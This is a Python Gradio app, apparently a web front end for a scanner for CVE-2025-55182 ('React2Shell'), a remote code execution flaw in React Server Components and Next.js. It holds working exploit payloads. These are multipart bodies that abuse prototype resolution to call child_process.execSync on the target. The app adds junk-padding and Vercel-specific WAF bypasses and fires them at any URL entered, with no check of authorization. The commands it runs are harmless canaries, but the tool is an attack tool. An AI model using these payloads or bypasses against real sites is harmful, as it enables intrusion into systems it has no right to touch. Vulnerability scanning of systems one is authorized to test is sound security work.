app.py

import gradio as gr
import requests
import re
import random
import string
import json
from urllib.parse import urlparse
from requests.exceptions import RequestException
import time

# --- Core Scanner Logic ---

def normalize_host(host: str) -> str:
    """Normalize host to include scheme if missing."""
    host = host.strip()
    if not host:
        return ""
    if not host.startswith(("http://", "https://")):
        host = f"https://{host}"
    return host.rstrip("/")

def generate_junk_data(size_bytes: int) -> tuple[str, str]:
    """Generate random junk data for WAF bypass."""
    param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
    junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
    return param_name, junk

def build_safe_payload() -> tuple[str, str]:
    """Build the safe multipart form data payload (side-channel)."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="1"\r\n\r\n'
        f"{{}}\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="0"\r\n\r\n'
        f'["$1:aa:aa"]\r\n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type

def build_vercel_waf_bypass_payload() -> tuple[str, str]:
    """Build the Vercel WAF bypass multipart payload."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
        '"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
        'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
        '"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
    )
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="0"\r\n\r\n'
        f"{part0}\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="1"\r\n\r\n'
        f'"$@0"\r\n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="2"\r\n\r\n'
        f"[]\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="3"\r\n\r\n'
        f'{{"\\"\u0024\u0024":{{}}}}\r\n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type

def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> tuple[str, str]:
    """Build the RCE PoC multipart payload."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    if windows:
        cmd = 'powershell -c \\\"41*271\\\"'
    else:
        cmd = 'echo $((41*271))'
        
    prefix_payload = (
        f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
        f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
        f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
    )
    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
    )
    
    parts = []
    if waf_bypass:
        param_name, junk = generate_junk_data(waf_bypass_size_kb * 1024)
        parts.append(
            f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
            f"{junk}\r\n"
        )
    
    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{part0}\r\n")
    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n")
    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n")
    parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--")
    
    body = "".join(parts)
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type

def resolve_redirects(url: str, timeout: int, verify_ssl: bool, max_redirects: int = 10) -> str:
    current_url = url
    original_host = urlparse(url).netloc
    try:
        for _ in range(max_redirects):
            response = requests.head(current_url, timeout=timeout, verify=verify_ssl, allow_redirects=False)
            if response.status_code in (301, 302, 303, 307, 308):
                location = response.headers.get("Location")
                if location:
                    if location.startswith("/"):
                        parsed = urlparse(current_url)
                        current_url = f"{parsed.scheme}://{parsed.netloc}{location}"
                    else:
                        new_host = urlparse(location).netloc
                        if new_host == original_host:
                            current_url = location
                        else:
                            break
            else:
                break
    except RequestException:
        pass
    return current_url

def send_payload(target_url: str, headers: dict, body: str, timeout: int, verify_ssl: bool):
    try:
        body_bytes = body.encode('utf-8') if isinstance(body, str) else body
        response = requests.post(
            target_url, headers=headers, data=body_bytes, timeout=timeout, verify=verify_ssl, allow_redirects=False
        )
        return response, None
    except Exception as e:
        return None, str(e)

def is_vulnerable_safe_check(response: requests.Response) -> bool:
    if response.status_code != 500 or 'E{"digest"' not in response.text:
        return False
    server_header = response.headers.get("Server", "").lower()
    has_netlify_vary = "Netlify-Vary" in response.headers
    is_mitigated = (has_netlify_vary or server_header == "netlify" or server_header == "vercel")
    return not is_mitigated

def is_vulnerable_rce_check(response: requests.Response) -> bool:
    redirect_header = response.headers.get("X-Action-Redirect", "")
    return bool(re.search(r'.*/login\?a=11111.*', redirect_header))

# --- Orchestrator & Logic ---

def perform_single_scan(url, mode_config, custom_path):
    host = normalize_host(url)
    timeout = 10
    verify_ssl = True 
    
    # Unpack config
    safe_check = mode_config.get("safe_check", False)
    windows_mode = mode_config.get("windows_mode", False)
    waf_bypass = mode_config.get("waf_bypass", False)
    vercel_bypass = mode_config.get("vercel_bypass", False)
    mode_name = mode_config.get("name", "Unknown Mode")

    if safe_check:
        body, content_type = build_safe_payload()
        check_func = is_vulnerable_safe_check
    elif vercel_bypass:
        body, content_type = build_vercel_waf_bypass_payload()
        check_func = is_vulnerable_rce_check
    else:
        body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
        check_func = is_vulnerable_rce_check

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
        "Next-Action": "x",
        "X-Nextjs-Request-Id": "b5dce965",
        "Content-Type": content_type,
        "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
    }

    paths = [custom_path] if custom_path else ["/"]
    log_lines = []
    found_vuln = False
    
    for path in paths:
        if not path.startswith("/"): path = "/" + path
        target_url = f"{host}{path}"
        
        # Test 1: Direct
        resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
        
        if error:
            log_lines.append(f"  [{mode_name}] Connection Error: {error}")
            continue
            
        if resp and check_func(resp):
            return True, [f"  [{mode_name}] HIT! Vulnerable on {target_url} (Status: {resp.status_code})"]

        # Test 2: Redirect
        redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
        if redirect_url != target_url:
            resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
            if resp_red and check_func(resp_red):
                 return True, [f"  [{mode_name}] HIT! Vulnerable on Redirect {redirect_url} (Status: {resp_red.status_code})"]

    return False, [f"  [{mode_name}] Not Vulnerable"]

def manual_scan_wrapper(url, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input):
    """Wrapper for the manual scan button"""
    config = {
        "name": "Manual Scan",
        "safe_check": safe_check,
        "windows_mode": windows_mode,
        "waf_bypass": waf_bypass,
        "vercel_bypass": vercel_bypass
    }
    
    is_vuln, logs = perform_single_scan(url, config, path_input)
    final_res = "\n".join(logs)
    if is_vuln:
        final_res += "\n\n🚨 FINAL STATUS: [VULNERABLE] 🚨"
    else:
        final_res += "\n\nFinal Status: [Not Vulnerable] (Check settings or try Auto-Scan)"
    return final_res

def auto_scan_wrapper(url, path_input):
    """Wrapper for the Auto-Scan button that runs the sequence"""
    if not url: return "Please enter a URL."
    
    full_logs = [f"Starting Auto-Scan for: {url}\n" + "="*40]
    
    # Defined Sequence of Scans
    steps = [
        {"name": "1. Safe Check (Side-Channel)", "safe_check": True},
        {"name": "2. Standard RCE (Unix)", "safe_check": False, "windows_mode": False},
        {"name": "3. Standard RCE (Windows)", "safe_check": False, "windows_mode": True},
        {"name": "4. Vercel WAF Bypass", "vercel_bypass": True},
        {"name": "5. Generic WAF Bypass", "waf_bypass": True}
    ]

    for step in steps:
        full_logs.append(f"\nrunning {step['name']}...")
        yield "\n".join(full_logs) # Streaming update to UI
        
        is_vuln, logs = perform_single_scan(url, step, path_input)
        full_logs.extend(logs)
        
        if is_vuln:
            full_logs.append("\n" + "="*40)
            full_logs.append("🚨 VULNERABILITY CONFIRMED 🚨")
            full_logs.append(f"Stopped at {step['name']}")
            yield "\n".join(full_logs)
            return

    full_logs.append("\n" + "="*40)
    full_logs.append("Auto-Scan Complete: No vulnerabilities found with standard payloads.")
    full_logs.append("Note: Sophisticated WAFs or custom paths might still exist.")
    yield "\n".join(full_logs)

# --- UI Setup ---

guide_content = """
### 🚀 Auto-Scan Mode (Recommended)
Just enter the URL and click **"Auto-Scan Target"**. This automatically runs the following sequence:
1. **Safe Check:** Non-destructive side-channel check.
2. **Standard RCE:** Tests for Linux vulnerabilities.
3. **Windows Mode:** Tests for Windows vulnerabilities.
4. **WAF Bypasses:** Attempts to evade firewalls (Vercel & Generic).

*The scan stops immediately if a vulnerability is found.*

**⚠️ Important:** Auto-Scan defaults to the root URL (`/`). If the app lives on a sub-path (e.g., `/dashboard`) or the homepage is static, **you must still enter it in the Custom Path field below.**

---

### 🛠️ Manual Mode
Use the checkboxes below to configure a specific single test.
* **Safe Check:** Triggers a specific 500 error digest to confirm vulnerability without RCE.
* **Windows Mode:** Uses PowerShell payload (`powershell -c ...`).
* **Generic WAF Bypass:** Pads the request with junk data (128KB).
* **Vercel WAF Bypass:** Uses a specific multipart structure.

### 🛣️ Custom Path (When to use it)
Required if the root URL (`/`) is static or fails to trigger the exploit.
* **Sub-directories:** If the app lives at `/dashboard`, `/app`, or `/portal`.
* **Dynamic Routes:** If the homepage is static, try pages with forms/logic like `/login`, `/auth`, or `/search`.
* **Internals:** Direct targeting of `/_next` or `/api` can sometimes bypass caching.
"""

seo_security_content = """
### 🔐 Why Security Matters for SEO (Search Engine Optimization)
Security is not just about protecting data; it is a critical ranking factor. Search engines like Google prioritize user safety.

**Negative SEO Effects of a Security Breach:**
* **"This site may be hacked" Warning:** Google displays a warning label in search results, effectively killing your Click-Through Rate (CTR).
* **De-indexing:** If malware is detected, search engines may completely remove your site from their index to protect users.
* **Malicious Redirects:** Hackers often redirect your organic traffic to spam/scam sites, increasing bounce rates and destroying domain authority.
* **Loss of Trust:** Recovering rankings after a security breach takes significantly longer than losing them.
"""

with gr.Blocks(title="React2Shell Scanner") as demo:
    gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
    gr.Markdown("Web-based scanner for React Server Components / Next.js RCE.")
    
    with gr.Accordion("📖 Help & Usage Guide", open=True):
        gr.Markdown(guide_content)

    with gr.Row():
        url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
        path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
    
    # Auto Scan Section
    with gr.Row():
        auto_scan_btn = gr.Button("🚀 Auto-Scan Target (Best Sequence)", variant="primary", scale=2)

    gr.Markdown("---")
    
    # Manual Scan Section (Hidden by Default)
    with gr.Accordion("⚙️ Manual Configuration (Optional)", open=False):
        with gr.Row():
            safe_check = gr.Checkbox(label="Safe Check", value=True)
            windows_mode = gr.Checkbox(label="Windows Mode", value=False)
            waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False)
            vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False)
        manual_scan_btn = gr.Button("Run Manual Scan", variant="secondary")

    output_box = gr.Textbox(label="Scan Output", lines=15)

    # Event Handlers
    auto_scan_btn.click(
        fn=auto_scan_wrapper,
        inputs=[url_input, path_input],
        outputs=output_box
    )

    manual_scan_btn.click(
        fn=manual_scan_wrapper,
        inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
        outputs=output_box
    )

    gr.Markdown("---")
    gr.Markdown(seo_security_content)
    
    # Footer
    gr.Markdown("---")
    gr.Markdown(
        "This react2shell analysis web app is created by [Adrian Ponce del Rosario](https://www.linkedin.com/in/adrian-ponce-del-rosario-seo/) | "
        "Based on the original research by [Assetnote](https://github.com/assetnote/react2shell-scanner)"
    )

demo.launch()